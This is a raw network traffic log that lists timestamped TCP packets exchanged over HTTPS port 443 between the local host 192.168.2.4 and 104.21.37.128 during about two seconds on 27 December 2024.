Dec 27, 2024 20:18:02.370421886 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.370455980 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.370474100 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.375125885 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.375142097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.375206947 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.375212908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.375251055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.378849983 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.378863096 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.378922939 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.378928900 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.378974915 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.434597015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.524169922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.524187088 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.524241924 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.524251938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.524291039 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.528342962 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.528362036 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.528398037 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.528404951 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.528434038 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.528449059 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.532098055 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.532110929 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.532150030 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.532155991 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.532183886 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.534631968 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.536802053 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.536817074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.536870003 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.536880016 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.536912918 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.576325893 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.577244043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.577260017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.577311039 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.577320099 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.577354908 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.580988884 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.581026077 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.581048965 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.581063986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.581078053 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.585696936 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.585716009 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.585774899 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.585798025 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.585828066 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.588383913 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.589520931 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.589554071 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.589580059 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.589587927 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.589606047 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.627484083 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.734632015 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.734652042 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.734694958 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.734713078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.734726906 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.734740973 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.738854885 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.738871098 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.738917112 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.738924980 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.738961935 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.742760897 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.742774010 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.742816925 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.742824078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.742857933 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.747387886 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.747402906 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.747448921 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.747457027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.747488976 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.788005114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.788028002 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.788064957 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.788074970 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.788093090 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.788110971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.791812897 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.791831017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.791862011 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.791867971 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.791896105 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.791913986 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.795624971 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.795641899 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.795694113 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.795701981 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.795737028 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.800327063 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.800348997 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.800388098 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.800396919 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.800417900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.800441027 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.946883917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.946902037 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.946945906 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.946981907 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.947000980 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.947016001 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.949579954 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.949595928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.949630022 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.949637890 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.949650049 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.949671984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.955013990 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.955029964 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.955086946 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.955096960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.955128908 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.958313942 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.958331108 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.958395004 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.958406925 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.958450079 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.999567986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.999589920 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.999627113 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.999641895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:02.999653101 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:02.999665976 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.002985954 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.003001928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.003067970 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.003076077 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.003108978 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.005393028 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.005450964 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.005460978 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.009499073 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.009514093 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.009567976 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.009577990 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.014446974 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.014461040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.014498949 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.014511108 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.014535904 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.060332060 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.158061028 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.158077002 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.158149958 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.158159971 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.158194065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.161856890 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.161876917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.161932945 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.161945105 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.161978006 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.166546106 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.166562080 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.166618109 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.166627884 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.166663885 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.206788063 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.206803083 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.206897974 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.206908941 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.207046032 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.210587025 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.210601091 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.210660934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.210666895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.210700989 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.215331078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.215344906 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.215388060 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.215394974 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.215428114 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.219075918 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.219089031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.219144106 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.219150066 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.219183922 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.223838091 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.223851919 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.223927021 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.223932981 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.223972082 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.368679047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.368699074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.368777037 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.368793964 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.370214939 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.372432947 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.372447014 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.372508049 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.372515917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.374248028 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.377250910 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.377264977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.377319098 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.377326965 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.378187895 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.417299032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.417316914 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.417350054 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.417361021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.417373896 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.417392969 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.421351910 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.421364069 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.421427011 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.421432018 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.421462059 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.425937891 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.425955057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.425997972 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.426009893 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.426034927 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.426048994 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.429984093 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.430001974 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.430077076 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.430088043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.430130005 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.433654070 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.433672905 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.433743954 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.433759928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.433799028 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.579226971 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.579250097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.579401016 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.579401970 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.579426050 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.582745075 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.582994938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.583013058 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.583064079 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.583070040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.586215019 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.587652922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.587676048 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.587722063 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.587728024 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.590197086 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.627425909 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.627445936 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.627609015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.627624035 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.627665043 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.632869959 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.632884979 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.632953882 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.632967949 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.634254932 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.636660099 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.636676073 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.636729956 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.636739016 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.638288021 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.640584946 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.640599966 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.640665054 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.640674114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.642555952 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.645227909 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.645242929 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.645302057 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.645313025 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.645329952 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.645349979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.790055037 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.790071964 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.790220022 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.790220022 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.790237904 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.793972015 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.793992996 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.794049025 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.794054985 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.794073105 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.794104099 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.798527002 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.798542023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.798599958 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.798605919 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.802167892 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.839029074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.839049101 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.839129925 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.839138985 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.842549086 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.842559099 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.842572927 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.842619896 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.842624903 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.846338034 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.847253084 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.847266912 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.847332001 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.847337008 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.850330114 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.851066113 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.851082087 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.851135015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.851142883 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.854255915 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.855740070 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.855758905 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.855817080 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:03.855828047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:03.858517885 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.239630938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.239653111 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.239734888 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.239763975 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.239870071 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.239896059 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.239923954 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.239928961 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.239948034 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.239974976 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.239990950 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.240004063 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.240039110 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.240045071 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.240056038 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.240080118 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.241005898 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.241022110 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.241070986 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.241076946 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.241868019 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.241884947 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.241924047 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.241934061 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.241950035 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.241974115 CET	49746	443	192.168.2.4	104.21.37.128
